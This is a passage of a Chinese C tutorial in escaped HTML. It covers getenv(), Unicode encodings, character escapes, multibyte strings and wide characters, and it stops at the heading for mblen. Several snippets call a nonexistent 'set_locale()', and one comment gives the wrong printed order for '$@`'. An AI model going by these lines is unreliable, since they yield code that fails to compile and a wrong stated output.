$?\u003c/code\u003e用来打印环境变量\u003ccode\u003e$?\u003c/code\u003e的值,该值为\u003ccode\u003e0\u003c/code\u003e,就表示上一条命令运行成功,否则就是运行失败。\u003c/p\u003e\u003cp\u003e注意,只有\u003ccode\u003emain()\u003c/code\u003e会默认添加\u003ccode\u003ereturn 0\u003c/code\u003e,其他函数都没有这个机制。\u003c/p\u003e\u003ch3 id=\"环境变量\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"环境变量\"\u003e\u003c/a\u003e环境变量\u003c/h3\u003e\u003cp\u003eC 语言提供了\u003ccode\u003egetenv()\u003c/code\u003e函数(原型在\u003ccode\u003estdlib.h\u003c/code\u003e)用来读取命令行环境变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* val = getenv(\u003cspan class=\"string\"\u003e\u0026#34;HOME\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (val == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Cannot find the HOME environment variable\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Value: %s\\n\u0026#34;\u003c/span\u003e, val);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003egetenv(\u0026#34;HOME\u0026#34;)\u003c/code\u003e用来获取命令行的环境变量\u003ccode\u003e$HOME\u003c/code\u003e,如果这个变量为空(\u003ccode\u003eNULL\u003c/code\u003e),则程序报错返回。\u003c/p\u003e\u003ch2 id=\"多字节字符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6\" class=\"headerlink\" title=\"多字节字符\"\u003e\u003c/a\u003e多字节字符\u003c/h2\u003e\u003cp\u003e本章介绍 C 语言如何处理非英语字符。\u003c/p\u003e\u003ch3 id=\"Unicode-简介\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#Unicode-%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"Unicode 简介\"\u003e\u003c/a\u003eUnicode 简介\u003c/h3\u003e\u003cp\u003eC 语言诞生时,只考虑了英语字符,使用7位的 ASCII 码表示所有字符。ASCII 码的范围是0到127,也就是100多个字符,所以\u003ccode\u003echar\u003c/code\u003e类型只占用一个字节,\u003c/p\u003e\u003cp\u003e但是,如果处理非英语字符,一个字节就不够了,单单是中文,就至少有几万个字符,字符集就势必使用多个字节表示。\u003c/p\u003e\u003cp\u003e最初,不同国家有自己的字符编码方式,这样不便于多种字符的混用。因此,后来就逐渐统一到 Unicode 编码,将所有字符放入一个字符集。\u003c/p\u003e\u003cp\u003eUnicode 为每个字符提供一个号码,称为码点(code point),其中0到127的部分,跟 ASCII 码是重合的。通常使用“U+十六进制码点”表示一个字符,比如\u003ccode\u003eU+0041\u003c/code\u003e表示字母\u003ccode\u003eA\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eUnicode 编码目前一共包含了100多万个字符,码点范围是 U+0000 到 U+10FFFF。完整表达整个 Unicode 字符集,至少需要三个字节。但是,并不是所有文档都需要那么多字符,比如对于 ASCII 码就够用的英语文档,如果每个字符使用三个字节表示,就会比单字节表示的文件体积大出三倍。\u003c/p\u003e\u003cp\u003e为了适应不同的使用需求,Unicode 标准委员会提供了三种不同的表示方法,表示 Unicode 码点。\u003c/p\u003e\u003cul\u003e\u003cli\u003eUTF-8:使用1个到4个字节,表示一个码点。不同的字符占用的字节数不一样。\u003c/li\u003e\u003cli\u003eUTF-16:对于U+0000 到 U+FFFF 的字符(称为基本平面),使用2个字节表示一个码点。其他字符使用4个字节。\u003c/li\u003e\u003cli\u003eUTF-32:统一使用4个字节,表示一个码点。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e其中,UTF-8 的使用最为广泛,因为对于 ASCII 字符(U+0000 到 U+007F),它只使用一个字节表示,这就跟 ASCII 的编码方式完全一样。\u003c/p\u003e\u003cp\u003eC 语言提供了两个宏,表示当前系统支持的编码字节长度。这两个宏都定义在头文件\u003ccode\u003elimits.h\u003c/code\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e:任意支持地区的最大字节长度,定义在\u003ccode\u003elimits.h\u003c/code\u003e。\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMB_CUR_MAX\u003c/code\u003e:当前语言的最大字节长度,总是小于或等于\u003ccode\u003eMB_LEN_MAX\u003c/code\u003e,定义在\u003ccode\u003estdlib.h\u003c/code\u003e。\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"字符的表示方法\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E7%9A%84%E8%A1%A8%E7%A4%BA%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"字符的表示方法\"\u003e\u003c/a\u003e字符的表示方法\u003c/h3\u003e\u003cp\u003e字符表示法的本质,是将每个字符映射为一个整数,然后从编码表获得该整数对应的字符。\u003c/p\u003e\u003cp\u003eC 语言提供了不同的写法,用来表示字符的整数号码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e\\123\u003c/code\u003e:以八进制值表示一个字符,斜杠后面需要三个数字。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\x4D\u003c/code\u003e:以十六进制表示一个字符,\u003ccode\u003e\\x\u003c/code\u003e后面是十六进制整数。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\u2620\u003c/code\u003e:以 Unicode 码点表示一个字符(不适用于 ASCII 字符),码点以十六进制表示,\u003ccode\u003e\\u\u003c/code\u003e后面需要4个字符。\u003c/li\u003e\u003cli\u003e\u003ccode\u003e\\U0001243F\u003c/code\u003e:以 Unicode 码点表示一个字符(不适用于 ASCII 字符),码点以十六进制表示,\u003ccode\u003e\\U\u003c/code\u003e后面需要8个字符。\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;ABC\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\101\\102\\103\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\x41\\x42\\x43\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面三行都会输出“ABC”。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\u2022 Bullet 1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;\\U00002022 Bullet 1\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面两行都会输出“• Bullet 1”。\u003c/p\u003e\u003ch3 id=\"多字节字符的表示\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E7%9A%84%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"多字节字符的表示\"\u003e\u003c/a\u003e多字节字符的表示\u003c/h3\u003e\u003cp\u003eC 语言预设只有基本字符,才能使用字面量表示,其它字符都应该使用码点表示,并且当前系统还必须支持该码点的编码方法。\u003c/p\u003e\u003cp\u003e所谓基本字符,指的是所有可打印的 ASCII 字符,但是有三个字符除外:\u003ccode\u003e@\u003c/code\u003e、\u003ccode\u003e$\u003c/code\u003e、\u003ccode\u003e`\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e因此,遇到非英语字符,应该将其写成 Unicode 码点形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;\\u6625\\u5929\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// 春天\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会输出中文“春天”。\u003c/p\u003e\u003cp\u003e如果当前系统是 UTF-8 编码,可以直接用字面量表示多字节字符。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003e\\u + 码点\u003c/code\u003e和\u003ccode\u003e\\U + 码点\u003c/code\u003e的写法,不能用来表示 ASCII 码字符(码点小于\u003ccode\u003e0xA0\u003c/code\u003e的字符),只有三个字符除外:\u003ccode\u003e0x24\u003c/code\u003e(\u003ccode\u003e$\u003c/code\u003e),\u003ccode\u003e0x40\u003c/code\u003e(\u003ccode\u003e@\u003c/code\u003e)和\u003ccode\u003e0x60\u003c/code\u003e(\u003ccode\u003e`\u003c/code\u003e)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;\\u0024\\u0040\\u0060\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s); \u003cspan class=\"comment\"\u003e// @$`\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码会输出三个 Unicode 字符“@$`”,但是其它 ASCII 字符都不能用这种表示法表示。\u003c/p\u003e\u003cp\u003e为了保证程序执行时,字符能够正确解读,最好将程序环境切换到本地化环境。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,使用\u003ccode\u003eset_locale()\u003c/code\u003e切换到执行环境切换到系统的本地化语言。\u003ccode\u003eset_locale()\u003c/code\u003e的原型定义在头文件\u003ccode\u003elocale.h\u003c/code\u003e,详见标准库部分的《locale.h》章节。\u003c/p\u003e\u003cp\u003e像下面这样,指定编码语言也可以。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003esetlocale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;zh_CN.UTF-8\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码将程序执行环境,切换到中文环境的 UTF-8 编码。\u003c/p\u003e\u003cp\u003eC 语言允许使用\u003ccode\u003eu8\u003c/code\u003e前缀,对多字节字符串指定编码方式为 UTF-8。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003eu8\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e一旦字符串里面包含多字节字符,就意味着字符串的字节数与字符数不再一一对应了。比如,字符串的长度为10字节,就不再是包含10个字符,而可能只包含7个字符、5个字符等等。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* s = \u003cspan class=\"string\"\u003e\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, \u003cspan class=\"built_in\"\u003estrlen\u003c/span\u003e(s)); \u003cspan class=\"comment\"\u003e// 6\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,字符串\u003ccode\u003es\u003c/code\u003e只包含两个字符,但是\u003ccode\u003estrlen()\u003c/code\u003e返回的结果却是6,表示这两个字符一共占据了6个字节。\u003c/p\u003e\u003cp\u003eC 语言的字符串函数只针对单字节字符有效,对于多字节字符都会失效,比如\u003ccode\u003estrtok()\u003c/code\u003e、\u003ccode\u003estrchr()\u003c/code\u003e、\u003ccode\u003estrspn()\u003c/code\u003e、\u003ccode\u003etoupper()\u003c/code\u003e、\u003ccode\u003etolower()\u003c/code\u003e、\u003ccode\u003eisalpha()\u003c/code\u003e等不会得到正确结果。\u003c/p\u003e\u003ch3 id=\"宽字符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AE%BD%E5%AD%97%E7%AC%A6\" class=\"headerlink\" title=\"宽字符\"\u003e\u003c/a\u003e宽字符\u003c/h3\u003e\u003cp\u003e上一小节的多字节字符串,每个字符的字节宽度是可变的。这种编码方式虽然使用起来方便,但是很不利于字符串处理,因此必须逐一检查每个字符占用的字节数。所以除了这种方式,C 语言还提供了确定宽度的多字节字符存储方式,称为宽字符(wide character)。\u003c/p\u003e\u003cp\u003e所谓“宽字符”,就是每个字符占用的字节数是固定的,要么是2个字节,要么是4个字节。这样的话,就很容易快速处理。\u003c/p\u003e\u003cp\u003e宽字符有一个单独的数据类型 wchar_t,每个宽字符都是这个类型。它属于整数类型的别名,可能是有符号的,也可能是无符号的,由当前实现决定。该类型的长度为16位(2个字节)或32位(4个字节),足以容纳当前系统的所有字符。它定义在头文件\u003ccode\u003ewchar.h\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e宽字符的字面量必须加上前缀“L”,否则 C 语言会把字面量当作窄字符类型处理。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eset_locale(LC_ALL, \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e c = \u003cspan class=\"string\"\u003eL\u0026#39;牛\u0026#39;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%lc\\n\u0026#34;\u003c/span\u003e, c);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003ewchar_t\u003c/span\u003e* s = \u003cspan class=\"string\"\u003eL\u0026#34;春天\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%ls\\n\u0026#34;\u003c/span\u003e, s);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,前缀“L”在单引号前面,表示宽字符,对应\u003ccode\u003eprintf()\u003c/code\u003e的占位符为\u003ccode\u003e%lc\u003c/code\u003e;在双引号前面,表示宽字符串,对应\u003ccode\u003eprintf()\u003c/code\u003e的占位符为\u003ccode\u003e%ls\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e宽字符串的结尾也有一个空字符,不过是宽空字符,占用多个字节。\u003c/p\u003e\u003cp\u003e处理宽字符,需要使用宽字符专用的函数,绝大部分都定义在头文件\u003ccode\u003ewchar.h\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"多字节字符处理函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E5%A4%84%E7%90%86%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"多字节字符处理函数\"\u003e\u003c/a\u003e多字节字符处理函数\u003c/h3\u003e\u003ch4 id=\"mblen\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#mblen\" class=\"headerlink\" 